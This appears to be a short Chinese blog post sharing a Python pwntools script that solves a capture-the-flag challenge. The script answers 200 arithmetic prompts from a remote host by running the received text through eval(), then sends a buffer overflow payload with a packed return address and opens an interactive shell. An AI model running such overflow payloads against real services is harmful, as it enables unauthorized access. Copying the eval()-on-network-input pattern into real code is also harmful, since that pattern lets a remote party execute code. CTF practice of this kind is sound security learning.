贴个脚本

表达式计算脚本

# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
context.binary = "./pwn"
binary = './pwn'

if sys.argv[1] == "r":
    p = remote("39.97.210.182",40285)
elif sys.argv[1] == "l":
    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])

elf = ELF("./pwn")

time = 0

def pwn():
    p.recvuntil("Math:")
    data = p.recvuntil(' =')
    data = data[:-1]
    print "data:" + str(data)
    return eval(data)


for i in range(0,200):
    result = pwn()
    print "result:" + str(result)
    p.sendline(str(result))
    time = time + 1
    print "times:" + str(time)

p.sendline("a"*0x64 + p64(0x12235612))
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值